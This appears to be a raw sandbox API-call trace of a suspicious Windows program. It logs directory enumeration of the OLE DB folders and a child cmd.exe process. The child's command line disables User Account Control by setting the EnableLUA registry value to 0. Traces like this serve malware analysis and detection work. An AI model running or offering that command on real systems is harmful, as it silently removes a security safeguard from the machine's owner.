	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1
	[0084.377] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031650 | out: lpFindFileData=0xc000031650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.377] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0084.378] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003181c, lpOverlapped=0x0) returned 0
	[0084.378] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), fInfoLevelId=0x0, lpFileInformation=0xc000031790 | out: lpFileInformation=0xc000031790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0084.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0084.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0xc000031548 | out: lpFindFileData=0xc000031548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0084.380] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0084.380] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1
	[0084.380] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1
	[0084.380] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1
	[0084.380] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1
	[0084.380] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031578 | out: lpFindFileData=0xc000031578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0084.380] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0084.380] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xc000031744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031744, lpOverlapped=0x0) returned 0
	[0084.380] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0000316b8 | out: lpFileInformation=0xc0000316b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800)) returned 1
	[0084.436] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc00003166c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003166c, lpOverlapped=0x0) returned 0
	[0084.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0000316b8 | out: lpFileInformation=0xc0000316b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00)) returned 1
	[0084.469] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc00003166c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003166c, lpOverlapped=0x0) returned 0
	[0084.469] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0000316b8 | out: lpFileInformation=0xc0000316b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00)) returned 1
	[0084.761] SetEvent (hEvent=0x120) returned 1
	[0084.761] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc00003166c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003166c, lpOverlapped=0x0) returned 0
	[0084.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqlxmlx.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqlxmlx.rll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0000316b8 | out: lpFileInformation=0xc0000316b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1
	[0084.790] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc00003166c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00003166c, lpOverlapped=0x0) returned 0
	[0084.790] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaosp.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaosp.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031790 | out: lpFileInformation=0xc000031790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600)) returned 1
	[0084.808] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000031744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031744, lpOverlapped=0x0) returned 0
	[0084.808] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdaps.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdaps.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031790 | out: lpFileInformation=0xc000031790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00)) returned 1
	[0085.278] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc000031744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031744, lpOverlapped=0x0) returned 0
	[0085.279] GetFileAttributesExW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\msdasql.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\msdasql.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031790) 

Thread:
	id = 37
	os_tid = 0x11f0

	[0072.256] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x930bff8d0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x930bff8d0*=0x198) returned 1
	[0072.257] VirtualQuery (in: lpAddress=0x930bff8f0, lpBuffer=0x930bff8f0, dwLength=0x30 | out: lpBuffer=0x930bff8f0*(BaseAddress=0x930bff000, AllocationBase=0x930a00000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0072.257] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x19c
	[0072.257] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1a0
	[0072.257] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.172] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.499] SetEvent (hEvent=0xf0) returned 1
	[0074.499] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) 

Process:
	id = "2"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x15c10000"
	os_pid = "0x116c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x110c"
	cmd_line = "C:\\WINDOWS\\system32\\cmd.exe /C reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 7
	os_tid = 0x1180

	[0061.906] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff79f750000
	[0061.906] __set_app_type (_Type=0x1) 
	[0061.906] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff79f766d00) returned 0x0
	[0061.906] __getmainargs (in: _Argc=0x7ff79f789200, _Argv=0x7ff79f789208, _Env=0x7ff79f789210, _DoWildCard=0, _StartInfo=0x7ff79f78921c | out: _Argc=0x7ff79f789200, _Argv=0x7ff79f789208, _Env=0x7ff79f789210) returned 0
	[0061.906] _onexit (_Func=0x7ff79f767fd0) returned 0x7ff79f767fd0
	[0061.907] _onexit (_Func=0x7ff79f767fe0) returned 0x7ff79f767fe0
	[0061.907] _onexit (_Func=0x7ff79f767ff0) returned 0x7ff79f767ff0
	[0061.907] _onexit (_Func=0x7ff79f768000) returned 0x7ff79f768000
	[0061.907] _onexit (_Func=0x7ff79f768010) returned 0x7ff79f768010
	[0061.908] _onexit (_Func=0x7ff79f768020) returned 0x7ff79f768020
	[0061.908] GetCurrentThreadId () returned 0x1180
	[0061.908] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1180) returned 0x7c
	[0061.908] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000
	[0061.908] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetThreadUILanguage") returned 0x7ffce913a990
	[0061.908] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0062.140] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0062.140] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x8f841af7b8 | out: phkResult=0x8f841af7b8*=0x0) returned 0x2
	[0062.153] VirtualQuery (in: lpAddress=0x8f841af7a4, lpBuffer=0x8f841af720, dwLength=0x30 | out: lpBuffer=0x8f841af720*(BaseAddress=0x8f841af000, AllocationBase=0x8f840b0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0062.153] VirtualQuery (in: lpAddress=0x8f840b0000, lpBuffer=0x8f841af720, dwLength=0x30 | out: lpBuffer=0x8f841af720*(BaseAddress=0x8f840b0000, AllocationBase=0x8f840b0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0062.153] VirtualQuery (in: lpAddress=0x8f840b1000, lpBuffer=0x8f841af720, dwLength=0x30 | out: lpBuffer=0x8f841af720*(BaseAddress=0x8f840b1000, AllocationBase=0x8f840b0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0062.153] VirtualQuery (in: lpAddress=0x8f840b4000, lpBuffer=0x8f841af720, dwLength=0x30 | out: lpBuffer=0x8f841af720*(BaseAddress=0x8f840b4000, AllocationBase=0x8f840b0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0062.153] VirtualQuery (in: lpAddress=0x8f841b0000, lpBuffer=0x8f841af720, dwLength=0x30 | out: lpBuffer=0x8f841af720*(BaseAddress=0x8f841b0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffff9302, RegionSize=0x50000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0062.153] GetConsoleOutputCP () returned 0x1b5
	[0062.188] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff79f78fbb0 | out: lpCPInfo=0x7ff79f78fbb0) returned 1
	[0062.188] SetConsoleCtrlHandler (HandlerRoutine=0x7ff79f778150, Add=1) returned 1
	[0062.188] _get_osfhandle (_FileHandle=1) returned 0x50
	[0062.188] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff79f78fc04 | out: lpMode=0x7ff79f78fc04) returned 1
	[0062.245] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0062.245] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff79f78fc00 | out: lpMode=0x7ff79f78fc00) returned 1
	[0062.293] _get_osfhandle (_FileHandle=1) returned 0x50
	[0062.304] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x0) returned 1
	[0062.364] _get_osfhandle (_FileHandle=1) returned 0x50
	[0062.364] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff79f78fc08 | out: lpMode=0x7ff79f78fc08) returned 1
	[0062.430] _get_osfhandle (_FileHandle=1) returned 0x50
	[0062.430] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1
	[0062.443] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0062.443] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff79f78fc0c | out: lpMode=0x7ff79f78fc0c) returned 1
	[0062.464] _get_osfhandle (_FileHandle=0) returned 0x4c
	[0062.464] SetConsoleMode (hConsoleHandle=0x4c, dwMode=0x1e7) returned 1
	[0062.535] GetEnvironmentStringsW () returned 0x28910d85b00*
	[0062.535] GetProcessHeap () returned 0x28910d80000
	[0062.535] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xa7c) returned 0x28910d86590
	[0062.535] FreeEnvironmentStringsA (penv="A") returned 1
	[0062.535] GetProcessHeap () returned 0x28910d80000
	[0062.535] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0x8) returned 0x28910d85b00
	[0062.535] GetEnvironmentStringsW () returned 0x28910d87020*
	[0062.535] GetProcessHeap () returned 0x28910d80000
	[0062.535] RtlAllocateHeap (HeapHandle=0x28910d80000, Flags=0x8, Size=0xa7c) returned 0x28910d87ab0
	[0062.535] FreeEnvironmentStringsA (penv="A") returned 1
	[0062.537] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8f841ae668 | out: phkResult=0x8f841ae668*=0x88) returned 0x0
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x0, lpData=0x8f841ae680*=0x4, lpcbData=0x8f841ae664*=0x1000) returned 0x2
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x4, lpData=0x8f841ae680*=0x1, lpcbData=0x8f841ae664*=0x4) returned 0x0
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x0, lpData=0x8f841ae680*=0x1, lpcbData=0x8f841ae664*=0x1000) returned 0x2
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x4, lpData=0x8f841ae680*=0x0, lpcbData=0x8f841ae664*=0x4) returned 0x0
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x4, lpData=0x8f841ae680*=0x40, lpcbData=0x8f841ae664*=0x4) returned 0x0
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x4, lpData=0x8f841ae680*=0x40, lpcbData=0x8f841ae664*=0x4) returned 0x0
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x0, lpData=0x8f841ae680*=0x40, lpcbData=0x8f841ae664*=0x1000) returned 0x2
	[0062.538] RegCloseKey (hKey=0x88) returned 0x0
	[0062.538] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x8f841ae668 | out: phkResult=0x8f841ae668*=0x88) returned 0x0
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x0, lpData=0x8f841ae680*=0x40, lpcbData=0x8f841ae664*=0x1000) returned 0x2
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x4, lpData=0x8f841ae680*=0x1, lpcbData=0x8f841ae664*=0x4) returned 0x0
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x0, lpData=0x8f841ae680*=0x1, lpcbData=0x8f841ae664*=0x1000) returned 0x2
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x4, lpData=0x8f841ae680*=0x0, lpcbData=0x8f841ae664*=0x4) returned 0x0
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x4, lpData=0x8f841ae680*=0x9, lpcbData=0x8f841ae664*=0x4) returned 0x0
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x4, lpData=0x8f841ae680*=0x9, lpcbData=0x8f841ae664*=0x4) returned 0x0
	[0062.538] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x8f841ae660, lpData=0x8f841ae680, lpcbData=0x8f841ae664*=0x1000 | out: lpType=0x8f841ae660*=0x0, lpData=0x8f841ae680*=0x9, lpcbData=0x8f841ae664*=0x1000) returned 0x2
	[0062.538] RegCloseKey (hKey=0x88) returned 0x0
	[0062.538] time (in: timer=0x0 | out: timer=0x0) returned 0x5fea0f83
	[0062.538] srand (_Seed=0x5fea0f83) 
	[0062.538] GetCommandLineW () returned="C:\\WINDOWS\\system32\\cmd.exe /C reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"
	[0062.538] malloc (_Size=0x4000) returned 0x28910fd54f0
	[0062.539] GetCommandLineW () returned="C:\\WINDOWS\\system32\\cmd.exe /C reg ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f"
	[0062.539] malloc (_Size=0xffce) returned 0x28910fe0080
	[0062.540] ??_V@YAXPEAX@Z () returned 0x28910fe0080
	[0062.540] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x28910fe0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0062.540] malloc (_Size=0xffce) returned 0x28910ff0060
	[0062.541] ??_V@YAXPEAX@Z () returned 0x28910ff0060
	[0062.541] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28910ff0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
